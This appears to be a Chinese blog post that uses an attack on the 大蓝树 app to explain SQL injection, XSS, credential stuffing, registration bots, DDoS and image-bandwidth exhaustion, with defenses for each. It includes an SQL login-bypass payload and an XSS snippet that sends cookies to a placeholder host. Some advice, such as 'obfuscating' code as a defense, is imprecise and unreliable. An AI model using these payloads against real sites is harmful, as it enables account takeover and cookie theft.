透过大蓝树 APP,图片 CDN - Down,服务器被攻击这一事件。对 Viber Coder 的警惕是什么?如何正确的防范攻击?

大家好,我是江辰。这期给大家带来,如何防范网站、APP、小程序攻击?

背景起因

大蓝书这款 APP,号称对标小红书!纯男性向社区,分享搞钱、技能、折腾、健身、户外、职场等话题

冷启动非常成功,短时间内,涌入大量用户。看 APP 发布时间是一周前,没多久,就被攻击,图片资源下线,无法注册登录使用。时间点大概在 07.26 号左右。

image

 

常见的攻击有那些?

分为几类:

我尽量讲简单点,大家都听得懂。

第一类!应用层攻击

  1. SQL 注入

特征:

SELECT * FROM users
WHERE email = '${email}'

早年,我在一家公司任职的时候,当时,发现很多 SQL 注入到用户表,想要恶意执行 SQL,获取系统权限。一旦获取到用户数据,后果不堪设想。

怎么攻击的? 通过表单写入非法 SQL

SELECT * FROM users WHERE username = '用户输入' AND password = '密码输入'

->

SELECT * FROM users WHERE username = 'admin' --' AND password = '任意内容'

在SQL中,-- 是注释符,它会让数据库忽略其后的所有内容。因此,这个查询实际上变成了 SELECT * FROM users WHERE username = 'admin',攻击者无需密码即可登录管理员账户[]

获取到数据

如何防御?通过参数化参数、orm、混淆 sql,使它无法执行即可。

  1. XSS 攻击

XSS 攻击,分为好几种。用大白话来解释就是, 就像有人在图书馆的留言簿里写下了 "拿到这本书的人请把钱给我"的纸条,每个借书的人看到后都会照做。

XSS 攻击跟 SQL 注入类似。都是在表单和输入里面带上恶心执行的脚本

区别在,XSS 攻击在页面中执行,SQL 注入在数据库和服务器上执行。

比如 http://example.com/search?q=<script>alert('XSS')</script> 这种

当用户访问到伪装成 XSS 脚本的表单时,点击一下,执行的时候,获取 cookie,就获取到用户的完整信息了!

特征:

<script>
fetch('https://xxx.com/?cookie='+document.cookie)
</script>

防御方式也是跟上面一样,混淆攻击代码,无法执行。

第二类!账号攻击

  1. 暴力破解 + 撞库

这里归位一类吧,现在不太区分了。

字面意思,如果站点的密码过于简单,攻击者,可以一天发送大量请求。几万次,几十万次等。

开源社区也有大量的撞库代码,就是拿邮箱 + 密码,不停的请求,总有一次是对的。

奇异博士:机会可能是万分之一

但是,只要成功一次,就是灾难。

如何防范? 密码非明文加密 + 请求速率限制即可!

  1. 注册机

一般来说,网站都会支持邮箱注入!

我的网站,就被注册机海量刷入,详细可看这篇文章 # 什么? 我的网站被灰产攻击了!

防御方式,也很简单,做临时邮箱,黑名单库。再严格一点的,上人机验证。

第三类!网络层攻击

什么是 DDOS 攻击?

科普下,短时间大量请求,发送到你的服务器,让你的服务器资源处理不过来。CPU 100%,带宽100%,导致网站、APP、小程序下线,无法使用。

简单来说,就是一家小的超市,大量人员涌入进来。这些人呢,不消费,也不出去。让你的超市,无法做生意。这是不是很痛苦?

如何防御? 防御手段非常复杂, 这也是迄今为止,很多厂长,非常痛苦的一件事。

攻击者,可以短时间,发起大量请求,让你防不胜防。你想锁 IP ?不好意思,我可以伪造 IP。

简单来说,通过防火墙 + 真实 IP 隐藏 + 速率限制 + 黑名单 + 弹性伸缩带宽等方式。

这每一项都不简单。

DDoS 攻击是一种破坏力巨大且日益复杂的网络威胁,其核心在于利用庞大的“僵尸网络”发起分布式攻击。有效的防御需要构建一个涵盖网络、协议、应用等多个层面的立体化防护体系。

第四类!业务攻击

image

终于来到这一类了!本文提到的大蓝树 APP 被攻击,就属于此类!

这里只说一个例子,图片攻击,属于爬虫类!另外 API 攻击,也属于爬虫类

大蓝树这次,为啥轻易被攻破?一类是服务器被攻击,另外一类是图片资源被攻击,我估计还有一类,注册登录被攻击。

服务器和注册登录攻击,我们上面都有提到。

那图片攻击是怎么回事呢?简单来说,图片,视频这类,都要消耗流量。什么是流量,电话卡,每个人都有吧,你上网,就要消耗流量,对吧。流量池被耗尽,自然就无法上网了,同理。

那,对于被攻击者而言,要么抓紧处理攻击,要么提升流量池,从 10GB -> 50GB,这些,都是处理方式。

我估计大蓝树肯定是一个新手 Coder,对于这类攻击请求,完全没有敏感度。只要,任意一个人或组织想搞你,非常简单,写个脚本,批量拉取图片数据,一下就把图片资源池攻击完。

讲了这么多,我相信大家对网站、小程序、APP 攻击,有一个大概的概念了。

那本文内容就这些。